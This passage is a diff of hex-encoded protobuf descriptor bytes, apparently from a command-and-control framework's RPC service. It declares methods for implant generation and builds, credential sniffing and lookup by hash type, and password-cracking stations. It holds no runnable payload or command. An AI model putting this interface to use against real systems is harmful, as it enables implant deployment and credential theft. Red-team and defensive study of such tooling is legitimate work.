0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, + 0x12, 0x41, 0x0a, 0x12, 0x47, 0x65, 0x74, 0x43, 0x72, 0x65, 0x64, 0x73, 0x42, 0x79, 0x48, 0x61, + 0x73, 0x68, 0x54, 0x79, 0x70, 0x65, 0x12, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, + 0x62, 0x2e, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x1a, 0x15, 0x2e, 0x63, + 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, + 0x61, 0x6c, 0x73, 0x12, 0x4a, 0x0a, 0x1b, 0x47, 0x65, 0x74, 0x50, 0x6c, 0x61, 0x69, 0x6e, 0x74, + 0x65, 0x78, 0x74, 0x43, 0x72, 0x65, 0x64, 0x73, 0x42, 0x79, 0x48, 0x61, 0x73, 0x68, 0x54, 0x79, + 0x70, 0x65, 0x12, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, + 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x1a, 0x15, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, + 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x73, 0x12, + 0x40, 0x0a, 0x12, 0x43, 0x72, 0x65, 0x64, 0x73, 0x53, 0x6e, 0x69, 0x66, 0x66, 0x48, 0x61, 0x73, + 0x68, 0x54, 0x79, 0x70, 0x65, 0x12, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, + 0x2e, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x1a, 0x14, 0x2e, 0x63, 0x6c, + 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, + 0x6c, 0x12, 0x2c, 0x0a, 0x05, 0x48, 0x6f, 0x73, 0x74, 0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, + 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x12, 0x2e, 0x63, 0x6c, + 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x41, 0x6c, 0x6c, 0x48, 0x6f, 0x73, 0x74, 0x73, 0x12, + 0x26, 0x0a, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x0e, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, + 0x70, 0x62, 0x2e, 0x48, 0x6f, 0x73, 0x74, 0x1a, 0x0e, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, + 0x70, 0x62, 0x2e, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x29, 0x0a, 0x06, 0x48, 0x6f, 0x73, 0x74, 0x52, + 0x6d, 0x12, 0x0e, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x6f, 0x73, + 0x74, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, + 0x74, 0x79, 0x12, 0x2b, 0x0a, 0x09, 0x48, 0x6f, 0x73, 0x74, 0x49, 0x4f, 0x43, 0x52, 0x6d, 0x12, + 0x0d, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x4f, 0x43, 0x1a, 0x0f, + 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, + 0x35, 0x0a, 0x08, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x12, 0x15, 0x2e, 0x63, 0x6c, + 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, + 0x65, 0x71, 0x1a, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x47, 0x65, + 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x12, 0x52, 0x0a, 0x10, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, + 0x74, 0x65, 0x45, 0x78, 0x74, 0x65, 0x72, 0x6e, 0x61, 0x6c, 0x12, 0x1d, 0x2e, 0x63, 0x6c, 0x69, + 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x74, 0x65, 0x72, 0x6e, 0x61, 0x6c, 0x47, 0x65, + 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x1f, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x74, 0x65, 0x72, 0x6e, 0x61, 0x6c, 0x49, 0x6d, 0x70, - 0x6c, 0x61, 0x6e, 0x74, 0x42, 0x69, 0x6e, 0x61, 0x72, 0x79, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, - 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x5c, 0x0a, 0x20, 0x47, - 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x45, 0x78, 0x74, 0x65, 0x72, 0x6e, 0x61, 0x6c, 0x47, - 0x65, 0x74, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, - 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, - 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x1a, 0x1f, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, - 0x74, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x74, 0x65, 0x72, 0x6e, 0x61, 0x6c, 0x49, 0x6d, 0x70, 0x6c, - 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x37, 0x0a, 0x0f, 0x42, 0x75, 0x69, - 0x6c, 0x64, 0x65, 0x72, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x65, 0x72, 0x12, 0x11, 0x2e, 0x63, - 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x65, 0x72, 0x1a, + 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x4d, 0x0a, 0x19, 0x47, 0x65, + 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x45, 0x78, 0x74, 0x65, 0x72, 0x6e, 0x61, 0x6c, 0x53, 0x61, + 0x76, 0x65, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x12, 0x1f, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, + 0x70, 0x62, 0x2e, 0x45, 0x78, 0x74, 0x65, 0x72, 0x6e, 0x61, 0x6c, 0x49, 0x6d, 0x70, 0x6c, 0x61, + 0x6e, 0x74, 0x42, 0x69, 0x6e, 0x61, 0x72, 0x79, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, + 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x5c, 0x0a, 0x20, 0x47, 0x65, 0x6e, + 0x65, 0x72, 0x61, 0x74, 0x65, 0x45, 0x78, 0x74, 0x65, 0x72, 0x6e, 0x61, 0x6c, 0x47, 0x65, 0x74, + 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x17, 0x2e, + 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, + 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x1a, 0x1f, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, + 0x62, 0x2e, 0x45, 0x78, 0x74, 0x65, 0x72, 0x6e, 0x61, 0x6c, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, + 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x37, 0x0a, 0x0f, 0x42, 0x75, 0x69, 0x6c, 0x64, + 0x65, 0x72, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x65, 0x72, 0x12, 0x11, 0x2e, 0x63, 0x6c, 0x69, + 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x65, 0x72, 0x1a, 0x0f, 0x2e, + 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x30, 0x01, + 0x12, 0x32, 0x0a, 0x0e, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x65, 0x72, 0x54, 0x72, 0x69, 0x67, 0x67, + 0x65, 0x72, 0x12, 0x0f, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x45, 0x76, + 0x65, 0x6e, 0x74, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, + 0x6d, 0x70, 0x74, 0x79, 0x12, 0x2f, 0x0a, 0x08, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x65, 0x72, 0x73, + 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, + 0x79, 0x1a, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x75, 0x69, + 0x6c, 0x64, 0x65, 0x72, 0x73, 0x12, 0x41, 0x0a, 0x14, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x73, 0x74, + 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x65, 0x72, 0x12, 0x16, 0x2e, + 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x73, 0x74, + 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x1a, 0x0f, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, + 0x2e, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x30, 0x01, 0x12, 0x37, 0x0a, 0x13, 0x43, 0x72, 0x61, 0x63, + 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x54, 0x72, 0x69, 0x67, 0x67, 0x65, 0x72, 0x12, 0x0f, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x45, 0x76, 0x65, 0x6e, 0x74, - 0x30, 0x01, 0x12, 0x32, 0x0a, 0x0e, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x65, 0x72, 0x54, 0x72, 0x69, - 0x67, 0x67, 0x65, 0x72, 0x12, 0x0f, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, - 0x45, 0x76, 0x65, 0x6e, 0x74, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, - 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x2f, 0x0a, 0x08, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x65, - 0x72, 0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, - 0x70, 0x74, 0x79, 0x1a, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, - 0x75, 0x69, 0x6c, 0x64, 0x65, 0x72, 0x73, 0x12, 0x41, 0x0a, 0x14, 0x43, 0x72, 0x61, 0x63, 0x6b, - 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x65, 0x72, 0x12, - 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, - 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x1a, 0x0f, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, - 0x70, 0x62, 0x2e, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x30, 0x01, 0x12, 0x37, 0x0a, 0x13, 0x43, 0x72, - 0x61, 0x63, 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x54, 0x72, 0x69, 0x67, 0x67, 0x65, - 0x72, 0x12, 0x0f, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x45, 0x76, 0x65, - 0x6e, 0x74, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, - 0x70, 0x74, 0x79, 0x12, 0x42, 0x0a, 0x15, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x73, 0x74, 0x61, 0x74, - 0x69, 0x6f, 0x6e, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x12, 0x18, 0x2e, 0x63, - 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x42, 0x65, 0x6e, - 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, - 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x39, 0x0a, 0x0d, 0x43, 0x72, 0x61, 0x63, 0x6b, - 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, - 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, - 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, - 0x6e, 0x73, 0x12, 0x39, 0x0a, 0x0d, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x54, 0x61, 0x73, 0x6b, 0x42, - 0x79, 0x49, 0x44, 0x12, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, - 0x72, 0x61, 0x63, 0x6b, 0x54, 0x61, 0x73, 0x6b, 0x1a, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, - 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x54, 0x61, 0x73, 0x6b, 0x12, 0x37, 0x0a, - 0x0f, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x54, 0x61, 0x73, 0x6b, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, - 0x12, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, - 0x6b, 0x54, 0x61, 0x73, 0x6b, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, - 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x3b, 0x0a, 0x0e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, - 0x69, 0x6c, 0x65, 0x73, 0x4c, 0x69, 0x73, 0x74, 0x12, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, - 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x1a, 0x14, 0x2e, - 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, - 0x6c, 0x65, 0x73, 0x12, 0x3b, 0x0a, 0x0f, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, - 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x12, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, - 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x1a, 0x13, 0x2e, 0x63, 0x6c, + 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, + 0x79, 0x12, 0x42, 0x0a, 0x15, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, + 0x6e, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x12, 0x18, 0x2e, 0x63, 0x6c, 0x69, + 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x42, 0x65, 0x6e, 0x63, 0x68, + 0x6d, 0x61, 0x72, 0x6b, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, + 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x39, 0x0a, 0x0d, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x73, 0x74, + 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, + 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, + 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, + 0x12, 0x39, 0x0a, 0x0d, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x54, 0x61, 0x73, 0x6b, 0x42, 0x79, 0x49, + 0x44, 0x12, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, + 0x63, 0x6b, 0x54, 0x61, 0x73, 0x6b, 0x1a, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, + 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x54, 0x61, 0x73, 0x6b, 0x12, 0x37, 0x0a, 0x0f, 0x43, + 0x72, 0x61, 0x63, 0x6b, 0x54, 0x61, 0x73, 0x6b, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x12, 0x13, + 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x54, + 0x61, 0x73, 0x6b, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, + 0x6d, 0x70, 0x74, 0x79, 0x12, 0x3b, 0x0a, 0x0e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, + 0x65, 0x73, 0x4c, 0x69, 0x73, 0x74, 0x12, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, + 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x1a, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, - 0x12, 0x41, 0x0a, 0x14, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x43, 0x68, 0x75, - 0x6e, 0x6b, 0x55, 0x70, 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, - 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x43, 0x68, 0x75, - 0x6e, 0x6b, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, - 0x70, 0x74, 0x79, 0x12, 0x4c, 0x0a, 0x16, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, - 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x44, 0x6f, 0x77, 0x6e, 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x18, 0x2e, + 0x73, 0x12, 0x3b, 0x0a, 0x0f, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x43, 0x72, + 0x65, 0x61, 0x74, 0x65, 0x12, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, + 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x1a, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, + 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x12, 0x41, + 0x0a, 0x14, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x43, 0x68, 0x75, 0x6e, 0x6b, + 0x55, 0x70, 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, + 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x43, 0x68, 0x75, 0x6e, 0x6b, + 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, + 0x79, 0x12, 0x4c, 0x0a, 0x16, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x43, 0x68, + 0x75, 0x6e, 0x6b, 0x44, 0x6f, 0x77, 0x6e, 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x18, 0x2e, 0x63, 0x6c, + 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, + 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x1a, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, + 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x12, + 0x39, 0x0a, 0x11, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x43, 0x6f, 0x6d, 0x70, + 0x6c, 0x65, 0x74, 0x65, 0x12, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, + 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, + 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x37, 0x0a, 0x0f, 0x43, 0x72, + 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x12, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, - 0x6c, 0x65, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x1a, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, - 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x43, 0x68, 0x75, 0x6e, - 0x6b, 0x12, 0x39, 0x0a, 0x11, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x43, 0x6f, - 0x6d, 0x70, 0x6c, 0x65, 0x74, 0x65, 0x12, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, - 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, - 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x37, 0x0a, 0x0f, - 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x12, - 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, - 0x46, 0x69, 0x6c, 0x65, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, - 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x39, 0x0a, 0x0a, 0x52, 0x65, 0x67, 0x65, 0x6e, 0x65, 0x72, - 0x61, 0x74, 0x65, 0x12, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x52, - 0x65, 0x67, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x12, 0x2e, 0x63, - 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, - 0x12, 0x39, 0x0a, 0x0d, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x42, 0x75, 0x69, 0x6c, 0x64, - 0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, - 0x74, 0x79, 0x1a, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, - 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x73, 0x12, 0x3a, 0x0a, 0x12, 0x44, - 0x65, 0x6c, 0x65, 0x74, 0x65, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x42, 0x75, 0x69, 0x6c, - 0x64, 0x12, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x44, 0x65, 0x6c, - 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, - 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x2f, 0x0a, 0x08, 0x43, 0x61, 0x6e, 0x61, 0x72, - 0x69, 0x65, 0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, - 0x6d, 0x70, 0x74, 0x79, 